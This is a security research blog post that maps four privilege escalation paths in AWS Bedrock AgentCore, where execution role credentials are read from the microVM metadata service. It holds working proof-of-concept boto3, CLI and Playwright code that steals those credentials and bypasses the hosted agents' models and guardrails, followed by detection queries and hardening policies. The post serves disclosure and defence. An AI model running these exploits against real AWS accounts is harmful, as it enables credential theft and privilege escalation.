Alert icon Keyboard navigation enabled.
Alert icon TAB or Shift+TAB to navigate across. Down ↓ to open menu. ESC to close menu.
Alert icon Down ↓ to select section. Right → to activate. Up ↑ / Down ↓ / Tab to traverse all. ESC to exit.
BeyondTrust
Skip to content Use space or enter to skip.

What can we help you find today?

Instant Results
  • Website Results
  • Technical Documentation

Filter Options

Focus your search

Filtering by

Your recent searches:

Contact Us Chat with Sales Get Support
  • English
  • Deutsch
  • français
  • español
  • 한국어
  • português
  • Home
  • Resources
  • Blog
  • Mapping Every Privilege Escalation Path in AWS AgentCore current page
Link copied

Mapping Every Privilege Escalation Path in AWS AgentCore

Jun 15, 2026

This blog maps every privilege escalation path in Amazon Bedrock AgentCore across the Runtime, Harness, Code Interpreter, and Custom Browser environments, providing actionable detection strategies and recommendations.

Authors:
Profile
Sergio Garcia
Security Researcher
400x400 Linkedin X Profile
Phantom Labs™
BeyondTrust
BT Resources BLOG thumbnails 2000x2000 37
Mapping Every Privilege Escalation Path in AWS AgentCore
Profile
Sergio Garcia
Security Researcher
400x400 Linkedin X Profile
Phantom Labs™
BeyondTrust

AWS AgentCore Privilege Escalation: Overview

White chain icon to symbolize the ability to copy a link
Link copied
Check mark to visually show text has been copied

One IAM permission allows an attacker to read any AgentCore execution role's credentials, bypassing the agent, the model, and its guardrails. AgentCore runs each resource inside a Firecracker microVM and serves credentials from MMDS—the microVM metadata service equivalent to EC2's IMDS.

This post maps every privilege escalation path in Amazon Bedrock AgentCore across the Runtime, Harness, Code Interpreter, and Custom Browser environments, providing actionable detection strategies and recommendations.

Key Findings

White chain icon to symbolize the ability to copy a link
Link copied
Check mark to visually show text has been copied
  • One architecture, every entry point. AgentCore Runtime, Harness, Code Interpreter and Browser all run on Firecracker microVMs with the execution role on MMDS at 169.254.169.254. Any code that reaches the microVM can read the role's credentials.
  • A single IAM permission reads any AgentCore Runtime or Harness execution role from MMDS. bedrock-agentcore:InvokeAgentRuntimeCommand runs shell commands as root inside the runtime microVM, bypassing the agent, model and guardrails entirely.
  • Each path has two vectors: an existing resource or a new one. Targeting an existing resource requires fewer IAM permissions, but the attacker needs its ARN or ID, and is restricted to the pre-deployed role. Creating a new resource needs iam:PassRole plus a Create* chain, but allows the attacker to choose which role to escalate to.
Path Existing Resource New Resource
AgentCore Runtime bedrock-agentcore:InvokeAgentRuntimeCommand iam:PassRole + bedrock-agentcore:CreateAgentRuntime + CreateAgentRuntimeEndpoint + CreateWorkloadIdentity + InvokeAgentRuntimeCommand
Harness bedrock-agentcore:InvokeAgentRuntimeCommand iam:PassRole + bedrock-agentcore:CreateHarness + CreateAgentRuntime + CreateAgentRuntimeEndpoint + CreateWorkloadIdentity + GetAgentRuntime + InvokeAgentRuntimeCommand
Code Interpreter bedrock-agentcore:StartCodeInterpreterSession + InvokeCodeInterpreter iam:PassRole + bedrock-agentcore:CreateCodeInterpreter + StartCodeInterpreterSession + InvokeCodeInterpreter
Custom Browser bedrock-agentcore:StartBrowserSession + ConnectBrowserAutomationStream iam:PassRole + bedrock-agentcore:CreateBrowser + StartBrowserSession + ConnectBrowserAutomationStream

Background: The Shared Primitive

White chain icon to symbolize the ability to copy a link
Link copied
Check mark to visually show text has been copied

How AgentCore Exposes IAM Credentials via MMDS

Amazon Bedrock AgentCore is AWS's platform to build, connect and optimize AI agents. It includes services for memory, identity, gateway, and more. This post focuses on four resource types that share a single credential model.

Each resource accepts an execution role at creation (the IAM role the resource uses to call AWS APIs from inside the microVM) and runs on a Firecracker microVM. AgentCore assumes that role and delivers temporary credentials to the microVM, mirroring how an EC2 instance profile works.

The internal resource reads them from MMDS at 169.254.169.254 (AgentCore's equivalent of EC2's IMDS) to call AWS APIs (Bedrock to invoke foundation models, S3 to read or write data, anything the role allows). Anything else that lands in the microVM reads the same MMDS:

```
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 60")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/execution_role
```

AgentCore exposes this credential model through each of these resources:

  • Runtime: A serverless environment for deploying and scaling AI agents and tools (via container image or ZIP). InvokeAgentRuntime runs the agent, while InvokeAgentRuntimeCommand executes shell commands.
  • Harness: A managed agent loop built on top of Runtime, configured with a model, tools, memory and skills. InvokeHarness sends prompts to the model, while InvokeAgentRuntimeCommand runs shell commands.
  • Code Interpreter: An isolated sandbox for executing code (Python, JavaScript or TypeScript) and shell commands. StartCodeInterpreterSession opens a session, InvokeCodeInterpreter runs the submitted code or command.
  • Custom Browser: A managed Chromium runtime for AI-driven browser automation. StartBrowserSession opens a session and ConnectBrowserAutomationStream connects a remote driver to the browser.

These represent four entry points that allow an attacker to land code inside the same microVM architecture and read the role's credentials from MMDS.

Figure 1: AgentCore puts the execution role on MMDS inside the Firecracker microVM. Runtime, Harness, Code Interpreter and Custom Browser read it to call AWS, and an attacker reads the same MMDS via the API.

Path 1: AgentCore Runtime (InvokeAgentRuntimeCommand)

White chain icon to symbolize the ability to copy a link
Link copied
Check mark to visually show text has been copied

InvokeAgentRuntimeCommand submits a shell command that runs as root inside the microVM, executing in parallel to the customer’s agent process (running as agentcore-runtime-user). This shell command bypasses the customer's agent entirely, regardless of what framework, code or guardrails the agent uses. The model never sees the request and the customer's safety controls never run.

Figure 2: Source: AWS, Environment and Skills, Amazon Bedrock AgentCore documentation.

An attacker with existing read permissions can enumerate candidate runtime ARNs via bedrock-agentcore:ListAgentRuntimes, CloudTrail management events, or the Console, and then invoke them to read execution role credentials from MMDS. Only runtimes using IAM as Inbound Auth apply; runtimes configured with "Use JSON Web Tokens (JWT)" will reject these calls.

Figure 3: Inbound Auth Type on an AgentCore Runtime. "Use IAM permissions" (selected) makes the runtime reachable through InvokeAgentRuntimeCommand. "Use JSON Web Tokens (JWT)" rejects the call.

Proof of concept

```
import boto3, uuid
command = """bash -c '
TOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/execution_role'"""

client = boto3.client("bedrock-agentcore", region_name="us-east-1")
response = client.invoke_agent_runtime_command(
agentRuntimeArn="arn:aws:bedrock-agentcore:us-east-1:<VICTIM>:runtime/<id>",
runtimeSessionId=str(uuid.uuid4()),
body={"command": command, "timeout": 30},
)
for event in response["stream"]:
chunk = event["chunk"]
if "contentDelta" in chunk and "stdout" in chunk["contentDelta"]:
print(chunk["contentDelta"]["stdout"])
```

That's the full chain. One IAM permission, one API call, the runtime's execution role credentials in the response stream. sts:GetCallerIdentity on the stolen credentials returns the runtime's executionRoleArn.

Figure 4: One InvokeAgentRuntimeCommand call against an existing runtime returns the execution role credentials from MMDS (Code: Success with AccessKeyId, SecretAccessKey and Token).

Create variant (iam:PassRole + CreateAgentRuntime + CreateAgentRuntimeEndpoint + CreateWorkloadIdentity + InvokeAgentRuntimeCommand)

The create case requires more permissions than the existing-resource case but it lets the attacker pick the role. The attacker deploys a Runtime with the target role and then exploits it with the same InvokeAgentRuntimeCommand call as shown in Figure 4. This is the relevant variant for accounts with no Runtime yet deployed, or where the attacker needs a specific high-privilege role that no existing runtime uses.

```
aws bedrock-agentcore-control create-agent-runtime \
--agent-runtime-name atk_runtime \
--role-arn arn:aws:iam::<VICTIM>:role/<HighPrivAgentCoreRole> \
--agent-runtime-artifact 'containerConfiguration={containerUri=<attacker-ecr-uri>}' \
--network-configuration networkMode=PUBLIC
```

The runtime ARN returned by CreateAgentRuntime is then the target of the InvokeAgentRuntimeCommand PoC as shown in Figure 4.

Path 2: Harness (InvokeAgentRuntimeCommand)

White chain icon to symbolize the ability to copy a link
Link copied
Check mark to visually show text has been copied

The same mechanism as Path 1 is run against an existing Harness. Harness is AgentCore Runtime with a managed agent layer on top (model, tools, memory, observability); InvokeAgentRuntimeCommand bypasses that layer and runs as root in the runtime microVM, regardless of which model, tools or guardrails the harness was configured with.

An attacker with existing read permissions can enumerate candidate harness ARNs via bedrock-agentcore:ListHarnesses, CloudTrail management events or the Console, then invoke them to read execution role credentials from MMDS.

Proof of concept

Same as Path 1 with the ARN pointing to the harness:

```
import boto3, uuid

command = """bash -c '
TOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/execution_role
'"""

client = boto3.client("bedrock-agentcore", region_name="us-east-1")
response = client.invoke_agent_runtime_command(
agentRuntimeArn="arn:aws:bedrock-agentcore:us-east-1:<VICTIM>:harness/<id>", # harness ARN, not the runtime ARN
runtimeSessionId=str(uuid.uuid4()),
body={"command": command, "timeout": 30},
)
for event in response["stream"]:
chunk = event["chunk"]
if "contentDelta" in chunk and "stdout" in chunk["contentDelta"]:
print(chunk["contentDelta"]["stdout"])
```

Figure 5. Running the same call with a Harness ARN returns the harness execution role credentials from MMDS. Harness is Runtime with a managed agent layer, so InvokeAgentRuntimeCommand behaves identically.

Create variant (iam:PassRole + CreateHarness + CreateAgentRuntime + CreateAgentRuntimeEndpoint + CreateWorkloadIdentity + GetAgentRuntime + InvokeAgentRuntimeCommand)

The attacker creates a Harness with the target role and exploits it with the InvokeAgentRuntimeCommand PoC as shown in Figure 5. CreateHarness provisions a Runtime under the hood, hence the long chain.

```
aws bedrock-agentcore-control create-harness \
--harness-name atk_harness \
--execution-role-arn arn:aws:iam::<VICTIM>:role/<HighPrivAgentCoreRole> \
--model '{"bedrockModelConfig":{"modelId":"<model-id>"}}'
```

The harness ARN returned by CreateHarness is then the target of the InvokeAgentRuntimeCommand PoC as shown in Figure 5.

Path 3: Code Interpreter (StartCodeInterpreterSession + InvokeCodeInterpreter)

White chain icon to symbolize the ability to copy a link
Link copied
Check mark to visually show text has been copied

Code Interpreter runs customer-submitted code inside a Firecracker microVM. The execution role is optional at creation: when attached, any code in the sandbox reads its credentials from MMDS; when omitted, the microVM has no credentials to expose and Code Interpreter is not affected by this path.

An attacker with existing read permissions can enumerate candidate Code Interpreters via bedrock-agentcore:ListCodeInterpreters, CloudTrail management events or the Console. Opening a session and submitting code that reads MMDS from inside the sandbox returns the execution role credentials. This path was also independently documented by Nigel Sood of Sonrai Security.

Proof of concept

```
import boto3
code = 'TOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60"); curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/execution_role'

client = boto3.client("bedrock-agentcore", region_name="us-east-1")
session = client.start_code_interpreter_session(codeInterpreterIdentifier="<CI-id>", sessionTimeoutSeconds=300)["sessionId"]
response = client.invoke_code_interpreter(
codeInterpreterIdentifier="<CI-id>",
sessionId=session,
name="executeCommand",
arguments={"command": code},
)
for event in response["stream"]:
sc = event.get("result", {}).get("structuredContent", {})
if sc.get("stdout"):
print(sc["stdout"])
```

Figure 6. Invoking Python in an existing Code Interpreter. The submitted boto3 get_frozen_credentials() call resolves the execution role from MMDS inside the sandbox and returns its credentials.

Create variant (iam:PassRole + CreateCodeInterpreter + StartCodeInterpreterSession + InvokeCodeInterpreter)

The attacker creates a Code Interpreter with the target role and exploits the new CI with the InvokeCodeInterpreter flow as shown in Figure 6.

```
aws bedrock-agentcore-control create-code-interpreter \
--name atk_ci \
--execution-role-arn arn:aws:iam::<VICTIM>:role/<HighPrivAgentCoreRole> \
--network-configuration networkMode=PUBLIC
```

The codeInterpreterId returned by CreateCodeInterpreter is then the target of the InvokeCodeInterpreter PoC as shown in Figure 6.

Path 4: Custom Browser (StartBrowserSession + ConnectBrowserAutomationStream)

White chain icon to symbolize the ability to copy a link
Link copied
Check mark to visually show text has been copied

Custom Browser runs a browser session inside a Firecracker microVM. The execution role is optional at creation: when attached, the role credentials are reachable on MMDS from inside the microVM; when omitted, Custom Browser has no credentials to expose and is not affected by this path.

A client connects to the browser's automation endpoint, a presigned WebSocket that speaks Chrome DevTools Protocol (CDP), and controls the browser from outside the microVM. AWS recommends libraries like Strands, Nova Act or Playwright as the client.

An attacker with existing read permissions can enumerate candidate Custom Browsers via bedrock-agentcore:ListBrowsers, CloudTrail management events or the Console.

Reading the execution role credentials takes four steps:

  1. Presign the WebSocket URL. The attacker presigns the browser's automation endpoint URL with their AWS credentials. This is what Playwright will connect to.
  2. Connect Playwright over CDP. connect_over_cdp(ws_url) opens a Chrome DevTools Protocol session against the remote Chromium running inside the microVM.
  3. Install a request hook. A context.route hook intercepts every request the browser sends to 169.254.169.254. It rewrites the GET on /latest/api/token into a PUT (which MMDSv2 requires), and on subsequent requests it injects the X-aws-ec2-metadata-token header so they succeed.
  4. Navigate to MMDS. The browser hits the token URL and the role-credentials URL in sequence. Each response renders in the page body, and the script reads it out.

Sending the PUT from inside the page would be blocked: browsers refuse cross-origin PUT requests unless the destination opts in, and MMDS does not. context.route operates one layer below the page, where outbound requests can be rewritten before those rules apply.


Proof of concept

```
import boto3
from botocore.auth import SigV4QueryAuth
from botocore.awsrequest import AWSRequest
from playwright.sync_api import sync_playwright

REGION = "us-east-1"
BROWSER_ID = "<browser-id>"

client = boto3.client("bedrock-agentcore", region_name=REGION)
session_id = client.start_browser_session(browserIdentifier=BROWSER_ID, sessionTimeoutSeconds=300)["sessionId"]

creds = boto3.Session().get_credentials().get_frozen_credentials()
url = f"https://bedrock-agentcore.{REGION}.amazonaws.com/browser-streams/{BROWSER_ID}/sessions/{session_id}/automation"
request = AWSRequest(method="GET", url=url)
SigV4QueryAuth(creds, "bedrock-agentcore", REGION, expires=60).add_auth(request)
ws_url = request.url.replace("https://", "wss://")

with sync_playwright() as p:
browser = p.chromium.connect_over_cdp(ws_url)
page = browser.contexts[0].pages[0]
token = {"value": ""}

def rewrite(route):
if "/latest/api/token" in route.request.url:
route.continue_(method="PUT", headers={"X-aws-ec2-metadata-token-ttl-seconds": "60"})
else:
route.continue_(headers={"X-aws-ec2-metadata-token": token["value"]})

page.context.route("http://169.254.169.254/**", rewrite)

page.goto("http://169.254.169.254/latest/...")
token["value"] = page.locator("pre").text_content().strip()
page.goto("http://169.254.169.254/latest/meta-data/iam/security-credentials/execution_role")
print(page.locator("pre").text_content())
```

Figure 7. Driving a Custom Browser over CDP with Playwright. A context.route hook rewrites the MMDS token request to PUT and injects the token header, so MMDS returns the execution role credentials.
Figure 8. AWS Console "Live browser session" viewer mirroring the MMDS read driven by the CDP exploit above. Anyone with view access on the browser sees whatever the driver navigates to.
Figure 9. From outside the microVM, Playwright's context.route rewrites the browser's outbound requests at the CDP layer. The rewrites satisfy MMDSv2 and the role credentials return through the same stream.

Create variant (iam:PassRole + CreateBrowser + StartBrowserSession + ConnectBrowserAutomationStream)

The attacker creates a Custom Browser with the target role and drives the CDP flow as shown in Figure 7 against a session on the new browser.

```
aws bedrock-agentcore-control create-browser \
--name atk_browser \
--execution-role-arn arn:aws:iam::<VICTIM>:role/<HighPrivAgentCoreRole> \
--network-configuration networkMode=PUBLIC
```

The browserId returned by CreateBrowser is then the target of the PoC as shown in Figure 7.

Detection

White chain icon to symbolize the ability to copy a link
Link copied
Check mark to visually show text has been copied

To detect all the privilege escalation paths covered in this blog, logging that captures both the API calls into AgentCore and what the attacker submits inside them is required.

By default, CloudTrail logs only the resource creation calls (CreateAgentRuntime, CreateHarness, CreateCodeInterpreter, CreateBrowser) and the iam:PassRole they trigger. The actions the attacker actually uses to extract credentials (InvokeAgentRuntimeCommand, StartCodeInterpreterSession, InvokeCodeInterpreter, StartBrowserSession, ConnectBrowserAutomationStream) are invisible until you enable CloudTrail data events.

Four data event types cover every privilege escalation path: AWS::BedrockAgentCore::Runtime and RuntimeEndpoint for Runtime and Harness (Harness manages a Runtime under the hood), CodeInterpreterCustom for Code Interpreter and BrowserCustom for Custom Browser. Apply to a trail with:

```
aws cloudtrail put-event-selectors \
--trail-name <your-trail> \
--advanced-event-selectors '[
{"FieldSelectors": [{"Field": "eventCategory", "Equals": ["Data"]}, {"Field": "resources.type", "Equals": ["AWS::BedrockAgentCore::Runtime"]}]},
{"FieldSelectors": [{"Field": "eventCategory", "Equals": ["Data"]}, {"Field": "resources.type", "Equals": ["AWS::BedrockAgentCore::RuntimeEndpoint"]}]},
{"FieldSelectors": [{"Field": "eventCategory", "Equals": ["Data"]}, {"Field": "resources.type", "Equals": ["AWS::BedrockAgentCore::CodeInterpreterCustom"]}]},
{"FieldSelectors": [{"Field": "eventCategory", "Equals": ["Data"]}, {"Field": "resources.type", "Equals": ["AWS::BedrockAgentCore::BrowserCustom"]}]}
]'
```

Each data event captures only the API call's metadata like the attacker's identity, the timestamp, the source IP and the target resource ARN. The actual shell command or submitted code by an attacker stays invisible to CloudTrail, as you can see in an InvokeAgentRuntimeCommand event captured by the trail:

```
{
"eventVersion": "1.11",
"userIdentity": {
"type": "AssumedRole",
"principalId": "AROAEXAMPLE1234567A:attacker-session",
"arn": "arn:aws:sts::123456789012:assumed-role/attacker-agentcore/attacker-session",
"accountId": "123456789012",
"accessKeyId": "ASIAEXAMPLE1234567A",
"sessionContext": {
"sessionIssuer": {
"type": "Role",
"principalId": "AROAEXAMPLE1234567A",
"arn": "arn:aws:iam::123456789012:role/attacker-agentcore",
"accountId": "123456789012",
"userName": "attacker-agentcore"
},
"attributes": {
"creationDate": "2026-05-26T20:22:07Z",
"mfaAuthenticated": "false"
}
}
},
"eventTime": "2026-05-26T20:22:12Z",
"eventSource": "bedrock-agentcore.amazonaws.com",
"eventName": "InvokeAgentRuntimeCommand",
"awsRegion": "us-east-1",
"sourceIPAddress": "REDACTED",
"userAgent": "Boto3/1.43.0 md/Botocore#1.43.0 ...",
"requestParameters": null,
"responseElements": {
"runtimeSessionId": "REDACTED",
"traceId": "Self=1-6a1600f3-0fe4c68c1e690647127b68e1;Root=1-6a1600f3-451073887c4404271a1fae82",
"statusCode": 200,
"stream": {
"publisher": {}
}
},
"requestID": "2035961c-7692-4bdf-b573-e769ac803f37",
"eventID": "171d2c01-dbf8-4225-80ab-75c779a41666",
"readOnly": false,
"resources": [
{
"accountId": "123456789012",
"type": "AWS::BedrockAgentCore::Runtime",
"ARN": "arn:aws:bedrock-agentcore:us-east-1:123456789012:runtime/hosted_agent_prod-XuTKdY2Ohe"
},
{
"accountId": "123456789012",
"type": "AWS::BedrockAgentCore::RuntimeEndpoint",
"ARN": "arn:aws:bedrock-agentcore:us-east-1:123456789012:runtime/hosted_agent_prod-XuTKdY2Ohe/runtime-endpoint/DEFAULT"
}
],
"eventType": "AwsApiCall",
"managementEvent": false,
"recipientAccountId": "123456789012",
"eventCategory": "Data",
"tlsDetails": {
"tlsVersion": "TLSv1.3",
"cipherSuite": "TLS_AES_128_GCM_SHA256",
"clientProvidedHostHeader": "bedrock-agentcore.us-east-1.amazonaws.com"
}
}
```

By default, a CloudWatch log group /aws/bedrock-agentcore/runtimes/<runtimeId>-DEFAULT is auto-created by AWS when an AgentCore Harness or Runtime is created. It records the body of every InvokeAgentRuntimeCommand submitted to the runtime.

Figure 10. The auto-created /aws/bedrock-agentcore/runtimes/-DEFAULT log group records each submitted command body, here showing the curl reads of 169.254.169.254 that hit MMDS (highlighted).

With those events in CloudWatch (or your SIEM), set alerts on commands that touch MMDS, like this CloudWatch Logs Insights query:

```
filter @logStream like /runtime-logs-/
| filter @message like /169\.254\.169\.254/
or @message like /security-credentials/
| fields @timestamp, @message
| sort @timestamp desc
```

For Code Interpreters, the log group is not auto-created, so AgentCore Observability is required to capture the code submitted by the attacker. Configure log delivery on the Code Interpreter to CloudWatch Logs, Amazon S3 or a Firehose stream with application logs as the log type. Once delivered, both the request payload (the submitted code) and the response payload are recorded.

Figure 11. A Code Interpreter gets no log group by default. On the Observability tab, Log delivery starts empty until you add a destination (CloudWatch Logs, Amazon S3 or Amazon Data Firehose).
Figure 12. Adding the CloudWatch Logs delivery with APPLICATION_LOGS as the Log type. This is the log type that records the request payload (the submitted code) and the response payload.
Figure 13. Once application logs are delivered, the InvokeCodeInterpreter entry shows the submitted code in request_payload and the resulting credentials in response_payload.

Unlike the other resources, Custom Browser only exposes usage logs (session metadata); what happens inside the automation stream (the MMDS read, the credential exfiltration) is invisible to AWS.

Recommendations for Securing AWS AgentCore Against Privilege Escalation

White chain icon to symbolize the ability to copy a link
Link copied
Check mark to visually show text has been copied

1. Constrain bedrock-agentcore:InvokeAgentRuntimeCommand. This single permission runs arbitrary shell commands as root inside the Runtime or Harness microVM, bypassing the agent, model and guardrails. Anything inside the microVM is then reachable, the execution role on MMDS included. Any policy that grants the bedrock-agentcore:* wildcard includes it, including the AWS managed BedrockAgentCoreFullAccess. AWS recommends not granting it to principals that do not need direct command execution. In AWS Organizations, deny it org-wide with a Service Control Policy except for an approved allowlist.

```
{
"Version": "2012-10-17",
"Statement": [{
"Sid": "DenyAgentCoreInvokeCommandExceptApproved",
"Effect": "Deny",
"Action": "bedrock-agentcore:InvokeAgentRuntimeCommand",
"Resource": "*",
"Condition": {
"ArnNotLike": {
"aws:PrincipalArn": "arn:aws:iam::*:role/<allowlisted-principals>"
}
}
}]
}
```

2. Audit iam:PassRole on roles AgentCore can assume. All four creation paths need iam:PassRole on a target role whose trust policy accepts the AgentCore service principal. Identify those roles and confirm that the principals holding iam:PassRole on each are the ones you actually want deploying AgentCore. Most accidental privilege escalation paths in practice come from iam:PassRole being broader than the deployment story.

3. Create Code Interpreter and Custom Browser without an execution role when the workload does not need AWS API access from inside the sandbox. Both can be created without a role attached, and the resulting microVM has no credentials to leak. Runtime and Harness require a role at creation, so this only applies to the other two.

4. Reduce the value of a stolen role. The role on MMDS is exactly what the attacker gets, so scoping every AgentCore execution role to least privilege turns role theft into stealing what the role can already do. Start from AWS's documented per-primitive execution role policy and add only what your workload calls: AgentCore Runtime, Harness, Code Interpreter, Custom Browser. Pay particular attention to the default service roles the Console auto-provisions for Runtime and Harness (AmazonBedrockAgentCoreRuntimeDefaultServiceRole-*, AmazonBedrockAgentCoreHarnessDefaultServiceRole-*); customers often extend these with additional workload permissions that then become reachable through InvokeAgentRuntimeCommand.

5. Configure detection coverage. Follow the Detection section to enable CloudTrail data events for the four AgentCore resource types and application log delivery on each Code Interpreter.

Conclusion

White chain icon to symbolize the ability to copy a link
Link copied
Check mark to visually show text has been copied

AgentCore puts an IAM execution role on MMDS inside a Firecracker microVM, the same primitive EC2 has used for years; the change is that AgentCore exposes four entry points to that microVM, not one. A single IAM permission, bedrock-agentcore:InvokeAgentRuntimeCommand, drops a root shell inside and reads the role credentials. The model, the guardrails and the agent code sit beside the microVM; the privilege escalation walks past all of them.

Two IAM gates control the surface: iam:PassRole to create a new resource, Invoke* or Start* on an existing one. Audit both gates and scope each execution role to least privilege. A successful privilege escalation then steals nothing the role couldn't already do.

Four resources, two IAM gates, one credential primitive.

Explore More Research from Phantom Labs

White chain icon to symbolize the ability to copy a link
Link copied
Check mark to visually show text has been copied

Phantom Labs™ researchers "think like attackers" to expose privilege escalation paths and identity attack vectors, helping defenders proactively uncover misconfigurations and detect threats in complex hybrid and cloud environments.

Continue Reading

White chain icon to symbolize the ability to copy a link
Link copied
Check mark to visually show text has been copied
  • https://www.beyondtrust.com/blog/entry/pwning-aws-agentcore-code-interpreter#entry:2525644@1:url
  • https://www.beyondtrust.com/blog/entry/aws-bedrock-security-api-keys
  • https://www.beyondtrust.com/blog/entry/aws-bedrock-security-guide-api-keys-detection-response

About the Author

White chain icon to symbolize the ability to copy a link
Link copied
Check mark to visually show text has been copied
Profile
Sergio Garcia
Security Researcher

Sergio Garcia is a Security Researcher on the Phantom Labs™ team at BeyondTrust. Sergio has a background in cloud security, identity-centric attack paths, and automated threat detection. He was previously a founding engineer at Prowler.

400x400 Linkedin X Profile
Phantom Labs™
BeyondTrust

BeyondTrust Phantom Labs™ believes the best way to fully understand cybersecurity threats is to work closely with our customers and partners, conducting real world research into the attacks that matter most to them. By dissecting emerging attack methods and exploitation techniques of threat actors, as well as conducting novel research, the team’s mission is to help organizations defend against identity threats. 

Latest Posts
  • Hooked on Identity (Part 2): Abusing OAuth Trust Boundaries in Okta
    Jun 12, 2026 Hooked on Identity (Part 2): Abusing OAuth Trust Boundaries in Okta
    Blog
    7m
  • Hooked on Identity: Abusing SAML Assertion Inline Hooks in Okta
    Jun 9, 2026 Hooked on Identity: Abusing SAML Assertion Inline Hooks in Okta
    Blog
    6m
  • Joining Project Glasswing: Securing the Privilege Backbone of the AI Era
    Jun 8, 2026 Joining Project Glasswing: Securing the Privilege Backbone of the AI Era
    Blog
    5m
  • The Most Common & Most Dangerous Types of Shadow IT
    Jun 5, 2026 The Most Common & Most Dangerous Types of Shadow IT
    Blog
    19m
  • 14 Password Management Best Practices
    May 28, 2026 14 Password Management Best Practices
    Blog
    12m
Related
  • Your Guide to Full-Stack Privileged Access Management (PAM)
    Mar 31, 2025 Your Guide to Full-Stack Privileged Access Management (PAM)
    Blog
    9m
  • Achieve Confidence in your Identity Security with BeyondTrust and Microsoft Defender for Identity
    Nov 19, 2024 Achieve Confidence in your Identity Security with BeyondTrust and Microsoft Defender for Identity
    Blog
    6m
Share this Article
  • Link
Tags
  • BeyondTrust Phantom Labs
  • BeyondTrust Research Team
  • Phantom Labs
  • Phantom Labs Research
Stay up to Date
Get the latest news, ideas, and tactics from BeyondTrust. You may unsubscribe at any time.

Keep up with BeyondTrust

Customer Support Get Started
  • LinkedIn
  • X
  • Facebook
  • Instagram
  • Add BeyondTrust as a preferred source on Google
  • Privacy
  • Security
  • Manage Cookies
  • Do Not Sell My Data
  • WEEE Compliance

Copyright © 2003 — 2026 BeyondTrust Corporation. All rights reserved. Other trademarks identified on this page are owned by their respective owners. BeyondTrust Corporation is not a chartered bank or trust company, or depository institution. It is not authorized to accept deposits or trust accounts and is not licensed or regulated by any state or federal banking authority.

Prefers reduced motion setting detected. Animations will now be reduced as a result.